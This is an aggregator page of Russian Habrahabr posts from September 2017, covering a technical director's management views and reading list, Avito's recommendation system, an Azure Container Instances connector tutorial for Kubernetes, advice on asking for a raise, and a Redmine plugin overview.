                      Управляемость тоже выявляется на собеседовании. Это качество очень нужно для работы в команде, потому что у руководителя не всегда есть время объяснять. Не всегда у сотрудника есть опыт, чтобы осознать. К слову, я тоже управляемый. Молчать, конечно, не буду, но обязательно сделаю. Иначе пирамидка не работает.

                      О навыках


                      На каждом проекте не хватает чего-то. Я руководствуюсь принципом познания этого «чего-то», который состоит из трех составляющих. Первая — ты должен спросить у знающего. Найти и спросить совета в отношении данного вопроса. Без этого получается однобокая картина мира.

                      Вторая составляющая — познать матчасть (книги, курсы и др.). Можно к вендору ехать общаться, можно у конкурента смотреть, можно у себя лабораторию собрать и изучать.

                      И третье, — личный опыт. Надо попробовать самому. Можно сколько угодно читать, но пока ты сам не попробовал, то все это выеденного яйца не стоит.

                      Когда ты прошел все три этапа, у тебя появляется собственное мнение на сей счет. Если это собственное мнение качественное, то тебя можно считать чуть-чуть экспертом. Если хочешь стать экспертом, надо много раз весь этот путь повторить.

                      То же самое в проектах. Если не хватает теоретических знаний, значит — иди учись, не хватает практики — используй материальную базу: демоцентр, инженерный блок.


                      Повышение компетенции


                      Я люблю конференции вендоров. Эти мероприятия ценны тем, что на них собираются партнеры со всего мира, и можно, общаясь со всеми, узнавать специфику: проще что-то перенять, чем заново изобретать. Мне нравится общаться с индусами, китайцами, южными корейцами, японцами, представителями стран Африки. Они интересны и новыми решениями, и финансовой политикой. Они готовы передавать инициативу.


                      О книгах


                      В год я читаю примерно 15-25 книг из профессиональной сферы — все, что выходит новое в ИТ, маркетинге, продажах, управлении людьми.

                      Есть у меня и своя личная полочка дома, где стоят «бумажные» книги, которые я бы перечитывал по несколько раз и которые обязательно рекомендовал бы любому, неважно, чем он занимается.

                      Книжная полка Андрея Бедраня

                      • Дэниел Канеман «Думай медленно… Решай быстро»
                      • Александр Прохоров «Русская модель управления»
                      • Нассим Николас Талеб «Черный лебедь. Под знаком непредсказуемости»
                      • Элия М. Гольдратт, Кокс Джеффри «Цель. Процесс непрерывного совершенствования»
                      • Уильям Детмер «Теория ограничений Голдратта. Системный подход к непрерывному совершенствованию»
                      • Сет Годин «Фиолетовая корова. Сделайте свой бизнес выдающимся!»
                      • Дэвид Майстер «Первый среди равных. Как руководить группой профессионалов»
                      • Лидо Энтони «Ли» Якокка «Карьера менеджера»
                      • Брайан Моран, Майкл Леннингтон  «12 недель в году. Как за 12 недель сделать больше, чем другие успевают за 12 месяцев»

                      «Русскую модель управления» Александра Прохорова и «Думай медленно… Решай быстро» Даниэля Канеман нужно прочитать как минимум по два раза. Они не относятся к профессии, они сложные, но идеи из этих книг человек обязан знать, если он живет в России и занимается интеллектуальным трудом.


                      Вместо заключения


                      Перспектив у нас много для всех на разных этапах. Для всех: и для инженеров, и для архитекторов, и для пресейлов. Каждый может прийти ко мне поговорить или посоветоваться. Считаю, что одна из моих очень важных задач как технического директора — воодушевлять, рассказывать сотрудникам про цели и беседовать на темы неудач.

                      Кстати, в «ЛАНИТ-Интеграции» есть пара интересных вакансий
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338684/


                      Метки:  

                      Рекомендации на Avito

                      Вторник, 26 Сентября 2017 г. 12:59 + в цитатник
                      vleksin сегодня в 12:59 Разработка

                      Рекомендации на Avito

                        В этой статье пойдет речь о том, как строятся персональные рекомендации на Avito. Исторически бизнес-модель Avito устроена так, что выдача объявлений в поиске происходит по времени их размещения. При этом пользователь может покупать дополнительные услуги для того, чтобы поднять свое объявление в поиске в том случае, если со временем объявление опустилось далеко в поисковой выдаче и перестало набирать просмотры и контакты.


                        В контексте данной бизнес-модели не очевидно, зачем нужны персональные рекомендации. Ведь они как раз нарушают логику сортировки по времени и те пользователи, которые платят за поднятие объявления, могут обидеться за то, что чье-то другое объявление мы «поднимаем» и показываем пользователю совершенно бесплатно только потому, что наша рекомендательная модель посчитала это объявление более релевантным для какого-то пользователя.


                        Однако сейчас персональные рекомендации становятся “must have” для классифайдов (и не только) по всему миру. Мы хотим помогать пользователю в поиске того, что ему нужно. Уже сейчас всё более значительная доля просмотров объявлений на Avito производится с рекомендаций на главной странице приложений или рекомендаций похожих объявлений на карточке товара. В этом посте я расскажу, какие именно задачи решает наша команда в Avito.



                        Виды рекомендаций


                        Сначала рассмотрим, какие типы рекомендаций могут быть полезны на Avito.


                        User-item рекомендации


                        В первую очередь это user-item рекомендации, то есть рекомендации объявлений для пользователя. Они могут быть двух типов. Первый — это товары или услуги, которые в настоящий момент ищет пользователь. Второй тип — дополняющие их товары или услуги. Например, чехлы для телефона, если человек ищет телефон. Или услуги перевозки мебели, если человек покупает или продает квартиру. Или кляссеры для хранения коллекции филателиста, если человек ищет почтовые марки.


                        User-item рекомендации мы доставляем до пользователей сейчас тремя способами:


                        • блоки с рекомендациями на главной странице мобильных приложений;
                        • баннеры с рекомендациями в поисковой выдаче на desktop;
                        • email- и push-рассылки с подборкой рекомендованных объявлений.


                        User-category рекомендации


                        Так же бывает нужно рекомендовать не конкретные объявления, а категории товаров (user-category рекомендации), перейдя в которые пользователь уже сам уточняет поисковые фильтры. User-category рекомендации так же делятся на два типа: рекомендации категорий текущих интересов пользователя и кросс-категорийные рекомендации. Сейчас мы используем этот тип рекомендаций в push-рассылках и на главной странице приложений.


                        Кросс-категорийные рекомендации особенно важны для Avito, так как большинство пользователей Рунета так или иначе хоть раз пользовались Avito, но часто «сидят» в одной категории. Многие не догадываются, что на Avito кроме личных вещей еще можно эффективно продать квартиру или автомобиль. Кросс-категорийные рекомендации помогают нам расширить спектр категорий, в которых пользователь является продавцом или покупателем, и таким образом увеличить вовлеченность пользователей.



                        Item-item рекомендации


                        Еще одним перспективным направлением рекомендаций на Avito являются item-item рекомендации, то есть рекомендации товаров для других товаров. Этот тип рекомендаций также делится на рекомендации похожих товаров (аналоги) и дополняющих товаров или услуг. Это направление является особенно важным, так как, в отличие от медийных порталов (фильмы, музыка) пользователь, как правило, приходит на Avito за чем-то конкретным и нам сложно заранее предсказать текущие предпочтения пользователей. Но если пользователь уже сам смотрит какой-то товар, то тут мы можем посоветовать ему альтернативы или дополняющие товары и они с большой вероятностью будут релевантны его текущему поиску. Рекомендации похожих объявлений показываются на карточке объявления, а также используются в email- и push-рассылках.


                        Скриншот


                        User-item рекомендации для классифайдов


                        Теперь немного углубимся в задачу user-item рекомендаций, как наиболее интересную с теоретической точки зрения. Входными данными являются:


                        • история действий пользователей на сайте: просмотры, поисковые запросы, контакты, избранное;
                        • профили пользователей: данные из привязанных аккаунтов соц. сетей, локация;
                        • все активные объявления на Avito: заголовок, описание, параметры, цена.

                        При этом объем данных сравнительно большой: 20 млн. активных пользователей, 35 млн. активных объявлений.


                        Постановка задачи звучит следующим образом: для каждого активного пользователя показать top-N объявлений с наибольшей вероятностью запроса контакта (звонок или отправка сообщения).



                        Несмотря на то, что формулировка задачи звучит как классическая задача любой рекомендательной системы, её построение для Avito имеет существенные отличия от задач рекомендаций медийного контента: фильмов, музыки и прочего. Во-первых, ликвидные товары частников быстро продаются, не успев даже набрать хорошую историю по просмотрам и запросам контактов. Классические алгоритмы коллаборативной фильтрации устроены так, что объявления с короткой историей не попадают в рекомендации. Чаще рекомендуются долго живущие объявления, которые, как правило, представляют меньший интерес для покупателей.


                        Также пользователя, как правило, интересует типовой товар, для которого может быть много активных объявлений. Например, ему нужно купить конкретную модель iPhone, а у кого — уже не так важно. Поэтому строить рекомендации лучше не на объявлениях, а на типовых товарах. Для этого мы строим специальные алгоритмы кластеризации.


                        Еще одной особенностью рекомендаций на Avito является то, что объявления создаются обычными пользователями и содержат ошибки, неполные описания. Это приводит к тому, что нам приходится серьезно работать над text processing, извлечением полезных признаков из описаний объявлений.


                        Методы


                        Теперь несколько слов о том, какие методы мы используем для построения рекомендаций.


                        Offline-модели


                        Исторически мы использовали и продолжаем использовать модели, которые обрабатывают click stream пользователей в «batch» режиме. Эти алгоритмы позволяют реагировать на новые действия, совершенные пользователем, с отставанием в 1-2 часа. Мы называем их offline-моделями.


                        Offline-модели рекомендаций глобально делятся на коллаборативные и контентные. Очевидно, что каждая из этих моделей имеет свои плюсы и минусы и наилучшие результаты показывают гибридные модели, которые учитывают как историю действий пользователей, так и контент объявлений. Именно гибридную модель мы и используем в качестве основной для offline-рекомендаций.


                        Online-модели


                        Offline-модели способны генерировать качественные рекомендации, но они не могут быстро реагировать на изменения интересов пользователя. Это — их существенный минус. Например, если пользователь начал искать какой-то новый товар на Avito, то мы хотим в рамках той же сессии начать рекомендовать ему подходящие товары. Для этого мы должны в реальном времени учитывать интересы пользователя. Такие модели мы называем online-моделями.


                        Их особенностью является то, что они более сложны с архитектурной точки зрения (время от момента совершения действия пользователем до обновления рекомендаций — не более 1 секунды). Классическая online модель основана на построении online профиля интересов пользователя, с помощью которого отбираются самые свежие и релевантные объявления. Из-за жестких требований к производительности online-алгоритмы, как правило, более простые, чем offline.


                        Оценка качества моделей


                        После того, как новая модель создана, её нужно как-то оценить. Целевой метрикой по компании является прирост количества сделок на Avito. Все offline- и online-метрики должны так или иначе должны коррелировать с ней.


                        Для оценки offline-моделей существует ряд отличных метрик, таких как precision, recall, NDCG, R-score и другие.


                        Не всегда удается подобрать такие offline-метрики, которые хорошо коррелируют с целевой метрикой компании. Здесь на помощь приходят online-метрики (CTR, конверсия в контакты, прирост в уникальных покупателях). На online сплит-тестах мы можем сравнить рекомендации от различных моделей и различные frontend-интерфейсы. Для оптимизации метапараметров моделей хорошо подходит метод многоруких бандитов.


                        Итоги


                        Перед командой рекомендации Avito стоят амбициозные задачи, которые требуют глубокого и активного исследования методов рекомендаций, способных выдерживать нагрузки Avito по производительности и показывать отличные результаты на целевых метриках.


                        Для того, чтобы найти оптимальные подходы, мы читаем много статей, ездим и выступаем на конференциях и проводим конкурсы. Не так давно закончился наш конкурс по рекомендациям, и мы не планируем на этом останавливаться. Призываем всех заинтересованных помочь нам в этом нелегком труде путем участия в наших конкурсах. А мы постараемся не скупиться на призовые :). Также у нас периодически открываются вакансии, о которых мы обязательно сообщаем в slack-канале ODS.


                        Кроме этого, мы и сами участвуем в конкурсах. BTW, в 2016 и 2017 годах мы вошли в 10-ку лучших команд на крупнейшем международном соревновании по рекомендательным системам Recsys Challenge. В следующей статье планирую подробнее рассказать о нашем решении Recsys Challenge 2017.


                        Спасибо за внимание!

                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/338470/


                        Метки:  

                        [Перевод] Коннектор Azure Container Instances для Kubernetes

                        Вторник, 26 Сентября 2017 г. 11:46 + в цитатник
                        stasus сегодня в 11:46 Разработка

                        Коннектор Azure Container Instances для Kubernetes

                        • Перевод
                        Несколько месяцев назад я рассказывал вам о выходе новой службы экземпляров контейнеров Azure (Azure Container Instances, ACI), которая максимально упрощает развёртывание контейнеров. Сегодня речь пойдёт о коннекторе Azure Container Instances для Kubernetes, который позволяет развертывать экземпляры службы контейнеров Azure в кластерах Kubernetes.

                        Этот коннектор является экспериментальным и его не следует использовать для реальных проектов.



                        Такой подход позволяет практически мгновенно выделять кластеру необходимые ресурсы, избавляя администратора от необходимости управлять инфраструктурой ВМ и позволяя ему продолжать использовать Kubernetes API. В кластере Kubernetes можно одновременно использовать виртуальные машины и экземпляры контейнеров, тем самым получая преимущества обеих технологий.

                        Принципы работы


                        Грубо говоря, коннектор ACI Connector имитирует интерфейс Kubelet следующим образом:
                        • регистрируется в Kubernetes как узел (node) с неограниченными ресурсами;
                        • отправляет поды (pod) на исполнение в службу экземпляров контейнеров Azure вместо нод на виртуальных машин.

                        После того как коннектор регистрируется в качестве узла с именем aci-connector, можно указать nodeName: aci-connector в конфигурации пода, чтобы запустить его через службу экземпляров контейнеров Azure. Поды, в конфигурации которых этот узел не указан, запускаются по расписанию в обычном режиме. Ниже даны инструкции по использованию соединителя ACI Connector и планировщика Kubernetes с помощью ограничений и допусков(taints и tolerations).

                        ACI connector k8s

                        Требования


                        1. Работающий клиент командной строки az — установить Azure CLI 2.0.
                        2. Кластер Kubernetes с рабочим kubectl — настроить кластер Kubernetes в Azure.

                        Текущие возможности


                        В дополнении к примерам на текущий момент поддерживаются следующие функции Kubernetes, если они определены в манифесте пода. По мере расширения возможностей коннектора aci-connector этот список будет изменяться.

                        Текущие ограничения


                        Следующие функции Kubernetes в настоящее время не поддерживаются коннектором aci-connector:
                        • ConfigMaps
                        • Secrets
                        • ServiceAccounts
                        • Volumes
                        • kubectl logs
                        • kubectl exec

                        Как быстро попробовать


                        1. Отредактируйте файл examples/aci-connector.yaml и укажите переменные среды.
                        2. Запустите коннектор ACI Connector командой kubectl create -f examples/aci-connector.yaml.
                        3. Дождитесь, пока команда kubectl get nodes отобразит узел aci-connector.
                        4. Запустите под NGINX через ACI командой kubectl create -f examples/nginx-pod.yaml.
                        5. Откройте под NGINX с помощью его общедоступного адреса.

                        Пошаговая инструкция


                        Создайте группу ресурсов


                        Коннектор ACI Connector создаст каждый экземпляр контейнера в указанной группе ресурсов. Новую группу ресурсов можно создать следующей командой:
                        $ az group create -n aci-test -l westus
                        {
                          "id": "/subscriptions//resourceGroups/aci-test",
                          "location": "westus",
                          "managedBy": null,
                          "name": "aci-test",
                          "properties": {
                            "provisioningState": "Succeeded"
                          },
                          "tags": null
                        }

                        Отредактируйте examples/aci-connector.yaml и укажите имя группы ресурсов в переменной среды ACI_RESOURCE_GROUP.

                        Создайте Service Principal


                        Service Principal необходим для создания ресурсов в вашей подписке Azure с помощью коннектора ACI Connector. Создать Service Principal можно с помощью Azure CLI в соответсвии с инструкцией ниже.

                        Найдите subscriptionId с помощью Azure CLI:
                        $ az account list -o table
                        Name                                             CloudName    SubscriptionId                        State    IsDefault
                        -----------------------------------------------  -----------  ------------------------------------  -------  -----------
                        Pay-As-You-Go                                    AzureCloud   12345678-9012-3456-7890-123456789012  Enabled  True
                        

                        С помощью az создайте субъекта-службу, который будет оперировать вашей подпиской:
                        $ az ad sp create-for-rbac --role=Contributor --scopes /subscriptions//
                        {
                          "appId": "",
                          "displayName": "azure-cli-2017-07-19-19-13-19",
                          "name": "http://azure-cli-2017-07-19-19-13-19",
                          "password": "",
                          "tenant": ""
                        }
                        

                        Отредактируйте файл examples/aci-connector.yaml и введите переменные среды, используя указанные выше значения:
                        • AZURE_CLIENT_ID: введите идентификатор приложения appId.
                        • AZURE_CLIENT_KEY: введите пароль.
                        • AZURE_TENANT_ID: укажите тенант.
                        • AZURE_SUBSCRIPTION_ID: введите идентификатор подписки subscriptionId.

                        Убедитесь, что провайдер Microsoft.ContainerInstance зарегистрирован


                        $ az provider list -o table | grep ContainerInstance
                        Microsoft.ContainerInstance             NotRegistered
                        

                        Если поставщик не зарегистрирован, то зарегистрируйте его с помощью команды:
                        $ az provider register -n Microsoft.ContainerInstance
                        $ az provider list -o table | grep ContainerInstance
                        Microsoft.ContainerInstance             Registered
                        

                        Установите коннектор ACI Connector


                        $ kubectl create -f examples/aci-connector.yaml 
                        deployment "aci-connector" created
                        
                        $ kubectl get nodes -w
                        NAME                        STATUS                     AGE       VERSION
                        aci-connector               Ready                      3s        1.6.6
                        k8s-agentpool1-31868821-0   Ready                      5d        v1.7.0
                        k8s-agentpool1-31868821-1   Ready                      5d        v1.7.0
                        k8s-agentpool1-31868821-2   Ready                      5d        v1.7.0
                        k8s-master-31868821-0       Ready,SchedulingDisabled   5d        v1.7.0
                        

                        Установите соединитель ACI Connector с Helm (опционально)


                        Сначала укажите значения в файле values.yaml, находящемся в каталоге /charts/aci-connector.
                        Затем можно установить чарт:
                        $ helm install --name my-release ./charts/aci-connector
                        

                        Значения также можно задать из командной строки, при этом все значения, указанные в файле values.yaml, будут перезаписаны:
                        $ helm install --name my-release --set env.azureClientId=YOUR-AZURECLIENTID,env.azureClientKey=YOUR-AZURECLIENTKEY,env.azureTenantId=YOUR-AZURETENANTID,env.azureSubscriptionId=YOUR-AZURESUBSCRIPTIONID,env.aciResourceGroup=YOUR-ACIRESOURCEGROUP,env.aciRegion=YOUR-ACI-REGION ./charts/aci-connector
                        

                        Установите пример c NGINX


                        $ kubectl create -f examples/nginx-pod.yaml 
                        pod "nginx" created
                        
                        $ kubectl get po -w -o wide
                        NAME          READY     STATUS    RESTARTS   AGE       IP             NODE
                        aci-connector-3396840456-v75q2  1/1       Running   0          44s       10.244.2.21    k8s-agentpool1-31868821-2
                        nginx         1/1       Running   0          31s       13.88.27.150   aci-connector
                        


                        Обратите внимание, что под развёрнут на узле aci-connector. Теперь он должен быть доступен через указанный открытый IP-адрес.

                        Использование планировщика Kubernetes


                        В примере в nginx-pod имя узла задано жестко, однако можно также использовать планировщик Kubernetes.

                        Виртуальный узел aci имеет ограничение (taint) (azure.com/aci) с эффектом NoSchedule по умолчанию. Это означает, что по умолчанию поды не запускаются на узле aci, если они не размещаются там явно.

                        Тем не менее планировщик Kubernetes может включать под, который допускает (tolerates) это ограничение, в график узла aci.

                        Ссылка на пример пода с таким допуском.

                        Воспользоваться этим подом легко:
                        $ kubectl create -f examples/nginx-pod-tolerations.yaml
                        

                        Обратите внимание, что при наличии других узлов в вашем кластере этот под не обязательно размещается в службе экземпляров контейнеров Azure.

                        Для того чтобы принудительно развернуть под в службе экземпляров контейнеров Azure, можно явно указать NodeName, как в первом примере, либо удалить все остальные узлы кластера командой kubectl delete nodes <имя узла>. Третий вариант — развернуть в кластере другие рабочие нагрузки; в этом случае планировщик будет обязан запланировать выполнение вашей задачи через API службы экземпляров контейнеров Azure.

                        Использование сборок Canary


                        Сборки Canary — это версии коннектора, которые периодически создаются из главной ветки. Поскольку эти сборки не являются официальными выпусками, их стабильность не гарантирована, однако они позволяют тестировать новейшие функции.

                        Для того чтобы воспользоваться последней версией Canary, вы можете установить пакет обновлений для своего соединителя aci-connector и обновить тег контейнера, используя следующую команду:
                        $ kubectl set image deploy/aci-connector aci-connector=microsoft/aci-connector-k8s:canary
                        
                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/338686/


                        Метки:  

                        Начальник, что мне делать для того, чтобы получать больше денег

                        Вторник, 26 Сентября 2017 г. 11:40 + в цитатник
                        digore сегодня в 11:40 Управление

                        Начальник, что мне делать для того, чтобы получать больше денег

                          Как часто вы слышали от своих подчиненных такой вопрос? Почему именно этот вопрос о повышении верный? Давайте разбираться вместе.

                          Представим себе программиста Ивана, который работает в компании какое-то время. По разным причинам так могло получиться, что у него уже давно не было повышения. А он его очень ждет. Ходить к менеджеру и просить повышения Ивану не хочется, не такой он человек, чтобы заводить разговор о повышении и выпрашивать, доказывать, что достоин повышения.


                          «Белая» версия событий
                          Предположим, Иван показывает свою позицию менеджеру: «Что я могу сделать в нашей компании для того, чтобы получать +30%»

                          Позиция Ивана:

                          • он ничего не просит и начинает разговор с позиции равного
                          • он хочет узнать о его возможных перспективах работы в компании
                          • возможно, Иван хочет занять более высокую должность
                          • возможно, Иван даже готов больше работать, чтобы получить желаемую прибавку

                          Позиция Менеджера (написано целенаправленно с большой буквы, т.к. речь идет именно об адекватном менеджере, который не боится развивать своих подчиненных, который уважает своих сотрудников и работает с ними на равных и открытых человеческих позициях):

                          • Иван – проактивный человек, проявляет лидерские качества, возможно, сможет расти в руководителя группы
                          • Иван лоялен к компании, ведь первым начинает разговор со своим менеджером, а не идет на собеседование
                          • Иван готов, возможно, к дополнительной работе
                          • если планировалось повышение только +10% в этом году, можно рассмотреть Ивана для продвижения по карьерной лестнице и дать ему желаемые 30%.

                          В таких переговорах есть большая вероятность, что Иван и Менеджер договорятся и найдут решение в стиле WIN-WIN:

                          • Иван получит желаемую зарплату
                          • Менеджер получит лояльного и мотивированного сотрудника.

                          Очевидно, возможны и крайние случаи:

                          • Иван запросит +100%, вряд ли в какой компании смогут организовать такое большое повышение
                          • Менеджер по разным причинам не сможет найти варианты для повышения сотрудника.

                          Но в любом случае, у Менеджера и Ивана есть открытая позиция по взаимодействию. Они могут договориться, как вариант, что Иван в течение 3-х месяцев ищет новую работу, а Менеджер ищет замену Ивану. В конечном итоге, они расстанутся в хороших отношениях и, возможно, когда у Менеджера появится высокооплачиваемая позиция в проекте, он снова позовет Ивана. Прощаться ведь тоже нужно хорошо, а мир IT крайне тесен.

                          «Нейтральная» версия событий
                          Менеджер (тут он тоже с большой буквы) периодически проводит встречи тет-а-тет, спрашивает, как дела у Ивана, все ли устраивает, нет ли конфликтов на работе и в личной жизни, доволен ли он текущей компенсацией оплаты труда.
                          При этом Менеджеру, по факту, часто приходится выуживать ответы из сотрудника, полагаться на свою Менеджерскую интуицию и опыт.

                          «Черная» версия событий (или как это происходит в реальности)
                          Ивану проще оказывается сходить на работный портал и посмотреть новые вакансии, откликнуться на те, которые удовлетворяют его текущей оценке себя на рынке труда. Далее он проходит собеседование, приходит к менеджеру с job-offer и начинается веселая игра.
                          Если сотрудник просто недоволен своей зарплатой и не так давно страдал от ее неповышения, в целом, хочет остаться в компании, то он говорит менеджеру:
                          — Смотри, у меня job-offer, я стою на рынке столько-то, а вы мне платите меньше. Что вы можете мне предложить?
                          Если сотрудник давно был демотивирован низкой зарплатой и считает ее гораздо ниже средней, то он просто говорит:
                          — У меня есть job-offer, вот заявление, я ухожу.
                          Если менеджер хочет сохранить сотрудника для компании, то он начнет искать пути удовлетворения его потребностей: повысить зарплату, найти интересные проекты, дать бонусы и т.д. И это невыигрышная ситуация для обоих:

                          • Иван понимает, что раз сейчас это сработало, то сработает в дальнейшем
                          • другие сотрудники, которым Иван рассказал лайфхак, смогут сделать так же
                          • Иван теряет доверие менеджера

                          Все это крайне похоже на шантаж, выход из ситуации – компромисс, который Ивану приносит краткосрочный бонус – повышение зарплаты. Итого, менеджер перестает надеяться на Ивана. Возможно, менеджер даже начитает искать Ивану замену.

                          Старайтесь никогда не доводить ситуацию до такого состояния, из нее очень сложно найти приемлемый выход.

                          А ваши сотрудники или вы сами когда-нибудь задавали вопрос из названия? Может быть, вы сами когда-то делали так? Возможно, кто-то завтра собирается подойти к своему менеджеру и задать «правильный» вопрос?

                          P.S. Автор однажды и сам так делал. Автору повезло, что его руководитель – Менеджер. Но это совсем другая история.
                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338674/


                          Метки:  

                          Свой сервер обложек на Python для интернет-радио

                          Вторник, 26 Сентября 2017 г. 11:29 + в цитатник

                          Метки:  

                          Redmine, который вы захотите попробовать

                          Вторник, 26 Сентября 2017 г. 11:27 + в цитатник
                          Kirim сегодня в 11:27 Управление

                          Redmine, который вы захотите попробовать

                            Лет 8 тому назад я, начинающий менеджер проектов, начал работать в Redmine. Перед друзьями я хвалился, что все мои проекты хранятся в интернете! И это было круто!

                            Произошло это благодаря тому, что мой руководитель не на шутку увлекся Redmine, настроил всем доступ, раздал права, а сам принялся докручивать его всеми днями и ночами. Он постоянно спрашивал: «Чего тебе не хватает?», выслушивал, а на следующее утро презентовал «фичу» как «новый айфон» со словами «Really amazing».

                            Задачи, которые я решаю с помощью Redmine, характерны для многих продуктовых команд. Поэтому я хочу показать вам Redmine таким, каким вы его еще не видели!

                            image



                            Так как я в работаю в коворкинге и часто обедаю с «соседними проектами», то знаю кто чем трекает задачи и проекты, как выбирают систему, почему переходят в облако и так далее. Поэтому я покажу, как можно использовать Redmine для решения актуальных и смежных с разработкой задач.

                            Те из вас, кто хорошо знаком и уже используют Redmine для разработки, смогут увидеть преимущества от интеграции и использования дополнительных плагинов. Ну а для всех остальных — это обзор и, конечно, возможность увидеть Redmine в деле. В конце концов, это же самая популярная open-sourсe система управления проектами, пусть и с уклоном в разработку.

                            Содержание:


                            1. Выбор темы для Redmine.
                            2. Как использовать Redmine Agile командам?
                            3. Управление клиентами и продажами в Redmine.
                            4. Helpdesk или как автоматизировать поддержку клиентов в Redmine.
                            5. Управление командой.
                            6. Управление расходами в Redmine. Финансы.
                            7. Redmine в облаке — сфокусируйтесь на проектах!


                            Разработка продукта, продажи, клиенты, поддержка, ресурсы, команда — как вы уже поняли, далее речь пойдет о том, как продуктовые команды или стартапы могут использовать Redmine для успешной реализации проектов.


                            1. Выбор темы для Redmine



                            Это для разогрева… Сколько времени вы проводите в таск менеджере? От того, как организовано ваше рабочее пространство, зависит ваша продуктивность, да и вообще настроение. «Тема» (оформление интерфейса) рабочей системы — это не просто “цвет поменяли”, это прежде всего удобство пользования. 

                            Не знаю как вы, а я частенько встречаю нелестные отзывы об интерфейсе Redmine, а его создатели не торопятся презентовать новый концепт. Итак, вот как большинство пользователей привыкли видеть Redmine:

                            image

                            А вот как выглядит та же страница с «другой» темой для Redmine:

                            image

                            Ну как вам? Разницу видите? Если нет, то обратить внимание на:

                             

                            • Акценты на главном (приоритезация). 
                            • Правильно подобранные шрифты (читаемость).
                            • Компоновка рабочего экрана (эргономика). 
                            • Цветовая гамма (сочетание цветов).
                            • Адаптивный дизайн (не видно на скриншоте, но видно на компе).
                            • Поддержка ретина дисплеев (не видно на скриншоте, но видно на компе).


                            2. Как использовать Redmine Agile командам?



                            Менеджер в Москве, разработчики в Самаре, дизайнер в декрете работает из дома, маркетолог в Берлине, саппорт менеджер в Софии — вот реалии сегодняшнего дня. Собраться за кофе и обсудить проект, перетаскивая стикеры на доске, не всегда получается. Вы пробовали утренний stand-up митинг по Skype?

                            С появлением новых методологий управления разработкой старый добрый Гант отошел на второй план. Миру нужен был новый визуальный образ, и он появился. Пользователям Redmine не пришлось долго ждать. Быстрые операции по добавлению задач, назначению ответственных, смена статуса задач прямо на доске (где видна картина в целом) стали реальностью. Вы можете разрабатывать продукты по гибкой методологии на Redmine. И, собственно, вот как это выглядит:

                            image

                            Agile команды смогут в Redmine:

                            • Планировать спринты.
                            • Оценивать задачи (Story points).
                            • Настраивать Agile-доски с помощью фильтров и сохранять их в виде запросов.
                            • Устанавливать ограничение количества задача в конкретном статусе.
                            • Остлеживать состояние проекта по Agile диаграммам — Burndown, Cumulative Flow, Velocity или Lead.
                            • Персонифицировать доски под свои конкретные задачи.


                            Отслеживать текущее состояние по спринту можно на странице версии:

                            image

                            Кому интересно подробнее, советую посмотреть весь функционал по Agile методикам в Redmine.

                            Для наглядности приведу пример из текущего проекта.

                            Пример из практики
                            В одном из проектов у меня три зоны ответственности:

                            1. Постановка задач, связанных с развитием продукта.
                            2. Выявление и отслеживание багов на платформе.
                            3. Поддержка пользователей через e-mail.

                            Я работаю недельными спринтами, но каждый день мне важно видеть состояние дел в каждой зоне и реагировать на изменения в соответствии с приоритетом. Соответственно, мне нужно настроить доску задач таким образом, чтобы быстро понять, что происходит и где включиться.



                            Отфильтровав по типу трекера, одну из досок я настроил таким образом, чтобы считывать и реагировать на новые тиккеты от клиентов (задачи в колонке «Not answered»). Я берусь за задачи, которые в работе, контролирую баги и отвечаю клиентам на саппорт тиккеты. По поводу обработки саппорт тиккетов мы поговорим чуть ниже в разделе «Helpdesk или как автоматизировать поддержку клиентов».

                            Цвет задачи указывает на категорию задач, и когда недельный спринт направлен на проверку гипотезы рекламного канала, все задачи, связанные с рекламой, видны и ждут меня. Текущие баги выделены красным цветом, что является дополнительным раздражителем именно для меня.

                            Вуаля! моя доска на этот проект готова!:

                            image

                            3. Управление клиентами и продажами в Redmine



                            Класический функционал CRM системы может быть полезен вам, если у вас есть клиенты или внешние контакты. Это мой любимый модуль сразу по двум причинам.

                            Во-первых, для меня клиент и особенно информация о нем выходит на первое место. Чем больше информации я о нем собираю и анализирую, тем больше у меня шансов продать продукт. Обращение в поддержку, скачивание бесплатной версии, заходы на сайт, участие в вебинаре, покупки — все это шаги моей воронки, и мне крайне важно отслеживать все эти касания.

                            Ну а во-вторых, хоть это и e-commerce проект, мне все-таки нравится видеть, с кем имеешь дело (фото), когда ты знаешь, из какой он страны (часовой пояс), и всю историю отношений с ним. Приятнее, если хотите.

                            image

                            Что вы можете делать в Redmine с помощью модуля CRM:

                            • Вести базу данных клиентов, партнеров и контрагентов.
                            • Видеть историю общения с клиентом.
                            • Привязывать задачу к клиенту.
                            • Отправлять сообщения по email.
                            • Организовать клиентский портал.
                            • Драйвить сделки с клиентами.
                            • Быстро находить контакты с помощью тегов и фильтров.


                            Стоит отметить, что благодаря настройкам доступа пользователей, вы можете организовать настоящий личный кабинет для ваших клиентов, где они смогут скачивать продукты, оплачивать лицензии (интеграция с платежным шлюзом). Пожалуй, это тоже отдельная история, и про интернет магазин внутри Redmine лучше поговорим в следующий раз.

                            Пример из практики
                            В одном из SaaS проектов пользователи триальной версии не конвертировались в платную, поэтому мне нужно было:

                            1. Найти узкое место в воронке продаж
                            2. Выявить и отработать основные причины отказа
                            3. Провести Customer development текущих клиентов

                            Для того, чтобы определить узкое место, мне пришлось построить отдельно воронку по продвижению через триальную версию. Были проблемы с авторизацией и вовлечением клиентов. Мне нужно было понять, почему было 20 регистраций в неделю, и только одна из них становилась платной подпиской.

                            По каждому клиенту нужно было собирать всю информацию, чтобы выявить причинно-следственные связи.



                            Чтобы найти узкое место на этапе пользования бесплатной версией, мне пришлось добавить точки касания с клиентом, анализировать поведение внутри триала и фиксировать обратную связь по каждому клиенту. Мы добавили новые этапы взаимодействия с клиентом: онлайн презентация и обучающий тренинг и стали анализировать. Параллельно нужно было вести текущих клиентов, выявлять собирательный образ и улучшать ценностное предложение.

                            В итоге я настроил для каждого типа клиентов свои «доски» и организовал работу как с лидами, так и текущими клиентами. С помощью фильтров я выстроил нужные мне отчеты и по ответственным исполнителям я мог видеть кто как работает, а визуализация воронки по стадиям продаж давала мне пищу для размышления.

                            В итоге мне удалось организовать работу сразу пятерых сотрудников, выявить и ликвидировать узкое место (миграция данных из других систем) и, как следствие, повысить средний чек и доход.

                            image

                            image

                            4. Helpdesk или как автоматизировать поддержку клиентов в Redmine



